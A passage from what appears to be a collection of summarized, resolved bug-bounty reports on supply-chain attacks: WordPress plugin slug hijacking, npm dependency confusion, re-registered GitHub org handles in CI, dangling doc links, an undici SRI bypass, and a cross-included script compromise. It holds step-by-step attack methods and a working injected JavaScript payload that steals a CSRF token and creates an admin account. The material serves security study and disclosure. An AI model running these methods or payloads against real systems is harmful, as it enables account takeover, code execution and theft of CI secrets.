- Submit a plugin under that slug (passes automated review: lowercase-alnum, non-reserved, non-trademarked, <100 installs)
- Publish, then bump version with a backdoor; victim's update notification pulls it -> RCE
https://site/wp-content/plugins/tf-elementor/... (installed)
https://plugins.svn.wordpress.org/tf-elementor -> 404 (claimable)
Insight β Confused-deputy/dependency-confusion applies to WP plugins/themes: any internal slug missing from the public SVN registry is hijackable and weaponized through the trusted update channel.
Real-world example
Dependency confusion via auto-linked package name to a public registry
β Low
Specimen #462503 Β· gitlab Β· USD 1000 Β· 26 votes Β· resolved
Program gitlabSurface webChain claim unpublished name -> victim installs -> npm lifec
Root cause
The platform auto-links a repo's package.json name to the public npm registry even when the package was never published (local-only); an attacker registers the unpublished name on npm so the trusted project page links users to the attacker's malicious module.
Method
- Find a project whose package.json name has no homepage pointing to a private registry and is unpublished on npm
- Publish an npm package under that exact name with malicious install scripts
- The project's file view now hyperlinks the package name to your npm module
- Victims following the trusted link install code that runs npm lifecycle scripts
# publish a package claiming the unpublished name
npm publish # package.json { "name": "gitter-desktop", ... , scripts.preinstall = payload }
Insight β Auto-linking a manifest package name to a public registry, without proving the package is actually published there by the owner, is dependency confusion by construction. Enumerate manifest names that are unclaimed on the public registry and claim them.
Real-world example
Renamed GitHub org handle re-registered to hijack a CI action
β Low
Specimen #1439355 Β· shopify Β· awarded Β· 16 votes Β· resolved
Program shopifySurface webTag supply-chain
Root cause
A CI workflow pins a base action to an external GitHub org that was renamed; GitHub redirects the old handle only until someone re-registers it, after which the old name serves the attacker's repo and runs attacker code in CI with access to secrets.GITHUB_TOKEN and org secrets.
Method
- Find a workflow 'uses:' an external action (e.g. build.yml)
- Visit the org and observe a redirect to a renamed org - the old handle is now free
- Register the old org/handle; subsequent PRs/pipelines run the attacker's action and leak CI secrets
# .github/workflows/build.yml
uses: MirrorNG/unity-runner # old renamed org name is re-registrable -> attacker controls the action
Insight β Renamed GitHub orgs leave the previous handle re-registrable while redirects mask it. Any workflow referencing the old name (uses:) is a supply-chain RCE with token/secret access. Defense: pin actions to a full commit SHA, not a mutable org/tag.
Real-world example
Dangling GitHub account referenced by official docs -> supply-chain takeover
β Low
Specimen #1434967 Β· kubernetes Β· awarded Β· 16 votes Β· resolved
Program kubernetesSurface webTag supply-chain
Root cause
Official docs link to an external GitHub org/account (a driver in the CSI drivers list) that was never registered; anyone can register it and host malicious driver code that users are instructed to install.
Method
- Crawl docs/README links for external GitHub orgs/repos
- Find one whose org/account 404s / is unregistered
- Register the account and host a PoC repo at the referenced path
Insight β Enumerate every GitHub org/repo referenced by a target's docs, READMEs and package manifests; claim any that resolve to an unregistered account. Downstream users following the docs then pull attacker code (potential RCE).
Real-world example
Subresource Integrity check silently skipped on malformed hash
β Info
Specimen #2377760 Β· nodejs Β· none Β· 11 votes Β· resolved
Program nodejsSurface otherChain SRI bypass -> load tampered dependency/resource (supply-cTag supply-chain
Root cause
undici's parseHashWithOptions failed to match base64url-encoded hashes and any algorithm with an invalid hash value (e.g. 'sha256--'), so bytesMatch treated the resource as having no applicable integrity metadata and loaded it without verification.
Method
- Supply fetch() with an integrity option using base64url or a malformed hash (sha256--)
- parseHashWithOptions fails to recognize the algorithm, returns no valid entries
- bytesMatch sees no hashes to compare and returns true -> SRI is bypassed
- Attacker-modified resource loads despite the integrity attribute
// integrity that should FAIL but is silently skipped:
fetch(url, { integrity: 'sha256--' }) // invalid value -> no check
fetch(url, { integrity: 'sha256-<base64url>' }) // base64url not parsed -> no check
// vuln: undici lib/fetch/util.js parseHashWithOptions
Insight β Integrity/verification code that returns 'match' when it cannot parse the expected value is fail-open. When auditing SRI/signature checks, feed malformed and alternate-encoding (base64 vs base64url) values and confirm the check FAILS closed. CVE-2024-30261.
Real-world example
Cross-origin script inclusion: compromise a low-trust site to hijack a high-trust app
β Info
Specimen #136531 Β· uber Β· none Β· 4 votes Β· resolved
Program uberSurface webChain WordPress webroot write β modify cross-included adrum.js β aTag supply-chainTag account-takoever
Root cause
An internal Confluence (team.uberinternal.com) loaded a JS file (adrum.js) hosted on a separately-managed, lower-security WordPress site (newsroom.uber.com); compromising the WordPress site lets the attacker modify that script and execute arbitrary JS in authenticated Confluence users' browsers, including admin-creation requests.
Method
- Map which high-value app pages include <script src> from a different, weaker host
- Compromise or gain file-write on the weaker host (WordPress webroot here)
- Replace the referenced JS with a payload that performs authenticated same-origin actions (CSRF token read + admin user creation) on every page load
- Wait for an admin to be logged in / enter the privileged area so secondary password-gated actions succeed
// injected into adrum.js, runs on Confluence origin:
(function(){
var token=AJS.Meta.get('atl-token');
var x=new XMLHttpRequest();
x.open('POST','/admin/users/docreateuser.action');
x.setRequestHeader('Content-type','application/x-www-form-urlencoded');
x.send('atl_token='+token+'&username=attacker&fullName=foo&email=new@attacker.com&password=new&confirm=new');
})();
Insight β Third-party/self-hosted script includes erase trust boundaries: a 'low risk' marketing-site bug becomes RCE-on-users of an internal app. When triaging XSS/compromise on a minor asset, grep target apps for <script src> pointing at it. The included-from origin inherits the includer's DOM and cookies.